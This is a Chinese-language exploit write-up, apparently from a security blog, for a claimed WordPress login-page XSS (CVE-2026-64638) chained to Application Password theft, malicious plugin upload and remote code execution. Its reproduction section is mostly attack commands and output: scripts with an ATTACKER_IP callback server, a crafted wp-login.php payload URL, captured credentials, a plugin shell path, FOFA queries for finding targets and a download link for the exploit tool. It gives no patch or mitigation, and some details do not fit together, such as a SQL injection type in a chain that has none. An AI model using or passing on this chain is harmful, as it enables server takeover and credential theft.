WordPress 预认证XSS转RCE漏洞深度解析:从登录页到服务器接管

WordPress 预认证XSS转RCE漏洞深度解析:从登录页到服务器接管

_

漏洞简介

  • CVE-2026-64638 是 WordPress Core 中的 Critical 级别预认证反射型 XSS 转 RCE 漏洞。该漏洞存在于 WordPress 登录页面 wp-login.php 中,核心问题是登录失败流程中 strip_tags()wp_kses_post() 对用户名的解析差异:strip_tags()< 后带空格的输入不识别为标签而放行,KSES 却将其重解析为合法 HTML,导致 DOM 注入。攻击者注入的 DOM 被登录页加载的 user-profile.js 自动交互,通过 DOM Clobbering 劫持 ajaxurl 并借助 REST JSONP 执行任意 JS。若管理员已登录,可进一步利用 SOME(Same-Origin Method Execution)技术窃取 Application Password,最终上传恶意插件实现 RCE。

  • 通过逆向分析漏洞利用链,攻击者只需诱导管理员访问恶意链接,无需任何身份认证即可完成从 XSS 到 RCE 的完整利用。成功利用后可获得以下操作:窃取管理员 Application Password、上传恶意插件、执行任意 PHP 代码、完全接管 WordPress 服务器。

  • 该漏洞的影响链路:发现暴露的 WordPress → 诱导管理员访问恶意链接 → 登录页反射 XSS → DOM Clobbering 劫持 ajaxurl → 窃取 Application Password → 上传恶意插件 → RCE 远程代码执行。

影响范围

项类别

详细内容

漏洞编号

CVE-2026-64638 / QVD-2026-49638

受影响产品

WordPress (Core)

受影响组件

wp-login.php 登录页面

受影响版本

6.4.0 ~ 7.0.2

漏洞类型

CWE-79 反射型 XSS / CWE-89 SQL 注入(链条后续)

漏洞复现

  • 准备环境

项类别

详细内容

环境

Python 3.x + requests 库 / Docker

目标版本

WordPress 6.4.0 ~ 7.0.2

前置条件

目标 WordPress 登录页面可网络访问

步骤 1:目标检测(被动识别)

使用 Scanner 脚本检测目标是否运行存在漏洞的 WordPress:

python3 xss2shell_scanner.py -u https://TARGET_IP

脚本将检测以下内容:

  • WordPress 版本信息

  • 登录页面反射测试

  • 补丁状态判断

步骤 2:XSS Payload 生成与验证

生成 XSS 测试 Payload:

python3 xss2shell_chain.py gen-xss -u https://TARGET_IP -c http://ATTACKER_IP:8080

成功响应示例:

```
[+] Target: https://TARGET_IP
[+] WordPress version: 7.0.2 (VULNERABLE)
[+] XSS payload URL generated:
    https://TARGET_IP/wp-login.php?log=%22%3E%3Csvg+onload%3Dalert%28document.domain%29%3E&pwd=bogus&wp-submit=Log+In&redirect_to=https%3A%2F%2FTARGET_IP%2Fwp-login.php%3Fcheck%3D1
[+] Callback server: http://ATTACKER_IP:8080/callback
```

步骤 3:Application Password 窃取(需管理员交互)

当管理员访问上述恶意链接后,启动回调服务器捕获凭据:

python3 exploit_server.py --host 0.0.0.0 --port 8080

成功捕获示例:

```
[*] XSS2Shell Callback Server running on 0.0.0.0:8080
[*] Waiting for admin interaction...
[+] New callback received from 192.168.1.100
[+] Application Password captured: user=admin pass=XXXX XXXX XXXX XXXX
[+] Saved to creds.json
```

步骤 4:恶意插件上传

使用捕获的凭据上传恶意插件:

python3 xss2shell_chain.py stage-plugin -u https://TARGET_IP --apppass "XXXX XXXX XXXX XXXX"

输出示例:

```
[+] Authenticating with Application Password...
[+] Plugin ZIP created: xss2shell-poc.zip
[+] Uploading plugin via REST API...
[+] Plugin activated: xss2shell-poc
[+] Shell endpoint: https://TARGET_IP/wp-content/plugins/xss2shell-poc/shell.php
```

步骤 5:远程代码执行(RCE)

执行系统命令:

python3 xss2shell_chain.py stage-rce -u https://TARGET_IP --cmd "whoami"

成功响应示例:

```
[+] Executing command: whoami
[+] Response: www-data
[+] RCE confirmed!
```

或一键完成全链:

python3 xss2shell_chain.py chain -u https://TARGET_IP --cmd "id"

完整输出示例:

```
============================================================
  CVE-2026-64638 XSS2Shell Full Chain PoC
============================================================

[STAGE 1] Scanning target...
[+] WordPress version: 7.0.2 (VULNERABLE)

[STAGE 2] Generating XSS payload...
[+] Payload URL: https://TARGET_IP/wp-login.php?log=...

[STAGE 3] Waiting for admin interaction...
[*] Please have admin open the callback page first

[STAGE 4] Capturing Application Password...
[+] Password: XXXX XXXX XXXX XXXX

[STAGE 5] Uploading malicious plugin...
[+] Plugin uploaded and activated

[STAGE 6] Executing remote command...
[+] Command: id
[+] Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)

============================================================
  [+] RCE achieved! Full chain complete.
  [+] Shell: https://TARGET_IP/wp-content/plugins/xss2shell-poc/shell.php
============================================================
```

FOFA 语法

app="WordPress"

或精确匹配登录页:

body="/wp-login.php" && body="WordPress"

利用工具下载

网盘

链接

mega

https://mega.nz/file/faRSHLiD#ixY3f9z8vm21TfP6RPBA9MbrgITzbACDtAlusrQsm5E

Metabase 未授权SQL注入漏洞:无需登录即可接管整个数据分析平台 2026-08-18
GeoServer 零日SQL注入漏洞深度解析:从JSON数组查询到服务器完全接管 2026-08-18